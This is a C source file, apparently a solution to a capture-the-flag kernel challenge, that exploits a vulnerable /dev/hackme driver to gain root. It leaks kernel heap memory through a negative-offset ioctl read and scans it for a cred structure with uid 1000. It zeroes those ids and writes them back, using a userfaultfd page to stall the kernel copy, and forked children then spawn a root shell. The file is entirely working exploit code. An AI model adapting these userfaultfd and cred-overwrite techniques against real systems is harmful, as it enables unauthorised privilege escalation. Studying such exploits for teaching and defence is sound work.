// gcc exp.c -o exp -masm=intel -static
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>


#define MAX_DATA_SIZE 0x160000
#define SEARCH_SIZE 0x10000

struct user_arg {
	size_t index;
	char *user_ptr;
	size_t size;
	size_t off;
};


void add(size_t fd, size_t index,char *user_ptr,size_t size)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	ioctl(fd,0x30000,&user_arg);
}

void delete(size_t fd, size_t index)
{
	struct user_arg user_arg;
	user_arg.index = index;
	ioctl(fd,0x30001,&user_arg);
}
void write_to_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30002,&user_arg);
}
void read_from_kernel (size_t fd, size_t index,char *user_ptr,size_t size,size_t off)
{
	struct user_arg user_arg;
	user_arg.index = index;
	user_arg.user_ptr = user_ptr;
	user_arg.size = size;
	user_arg.off = off;
	ioctl(fd,0x30003,&user_arg);
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] Handler Created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待，直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	puts("[+] Trigger! I'm going to hang");
	
	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构，虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	puts("[+] Fault Page Handler Finished");
	sleep(1000);
	return 0;
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page; // 监视起始位置
	ur.range.len   = fault_page_len;			// 监视内存长度
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理FD,若访问到FAULT_PAGE，则访问被挂起，uffd会接收到信号
	if ( pthread_create(&thr, NULL, handler, (void*)uffd) ) // handler函数进行访存错误处理
		errExit("[-] pthread_create");
    return;
}

void get_root(uint32_t i)
{
	while (1) 
	{
		sleep(1);
		if ( getuid() == 0)
		{
			printf("[+] Got R00T At Thread: %d\n", i);
			execl("/bin/sh", "sh", NULL);
			exit(0);
		}
	}
}

int main()
{
	uint64_t fault_page,fault_page_len,i,j;
	
	size_t fd = open("/dev/hackme",O_RDONLY);

	for (i = 0; i<200; i++)
	{
		if (fork() == 0)
			get_root(i);
	}
	char *buf = malloc(MAX_DATA_SIZE);
	add(fd, 0, buf, 0x100);
	read_from_kernel(fd, 0, buf, MAX_DATA_SIZE, -MAX_DATA_SIZE);
	uint32_t *mem = (uint32_t*)buf;
	uint32_t cred_offset = 0;
	puts("[+] Searching Cred");
	for (i = 0; i < SEARCH_SIZE/4; i++)
	{
		if (mem[i + 0] == 1000 &&
			mem[i + 1] == 1000 &&
			mem[i + 2] == 1000 &&
			mem[i + 3] == 1000 &&
			mem[i + 4] == 1000 &&
			mem[i + 5] == 1000 &&
			mem[i + 6] == 1000 &&
			mem[i + 7] == 1000)
		{
			printf("[+] Find A Cred At Offset: %#x\n", i*4); // Searching One Cred And Modify IT TO R00T (: 
			for (j = 0; j < 8; j++)
				mem[i+j] = 0;
			cred_offset = i*4;
			break;
		}
	}
	if (cred_offset == 0)
	{
		puts("[-] Cannot Find Cred");
		exit(-1);
	}
	char *new = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	memcpy(new, buf, SEARCH_SIZE);
	fault_page = (uint64_t)new + SEARCH_SIZE;
	fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;
	register_userfault(fault_page, fault_page_len); // 注册缺页,如果访问到非法地址,则会挂起进程,防止内核崩溃
	write_to_kernel(fd, 0, new, MAX_DATA_SIZE, -MAX_DATA_SIZE); // 当内核访问到非法地址时,cred中UID已经被修改为0
}




